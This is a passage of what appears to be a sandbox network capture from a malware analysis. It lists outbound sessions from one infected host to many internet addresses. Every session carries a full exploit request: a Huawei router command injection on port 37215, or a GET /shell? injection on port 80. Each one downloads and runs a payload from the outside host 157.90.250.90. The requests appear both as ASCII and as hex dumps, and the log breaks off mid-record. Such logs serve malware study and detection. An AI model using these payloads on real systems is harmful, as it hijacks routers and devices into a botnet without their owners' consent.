Dec 3, 2024 21:02:11.761071920 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	36850	156.111.172.122	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:11.761634111 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	54526	197.27.41.244	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:11.762172937 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	49672	197.215.189.85	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:11.889913082 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	39438	197.189.216.22	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:12.011987925 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	60996	41.151.66.63	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:12.012635946 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	38762	133.183.127.187	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:13.292958975 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	54122	163.75.182.158	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:13.293504953 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	58928	95.204.223.246	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:13.536458015 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	54312	96.235.45.67	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:13.537076950 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	60658	80.151.15.248	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:14.413899899 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	33564	99.237.154.73	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:14.414474964 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	53316	67.188.186.31	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:14.415011883 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	43046	189.234.207.119	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:14.415545940 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	35422	181.124.56.136	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:14.416100979 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	35084	220.214.151.45	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:14.656111002 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	47086	50.69.0.111	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:14.656702042 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	55668	23.145.161.75	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:14.657413006 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	41886	156.179.8.69	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:15.295799971 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	60256	39.22.18.75	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:15.437500000 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	49174	24.140.184.152	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:15.438292980 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	43916	213.113.105.129	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:15.438991070 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	41534	41.183.65.205	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:16.302119970 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	50448	41.67.156.124	37215

Timestamp	Bytes transferred	Direction	Data
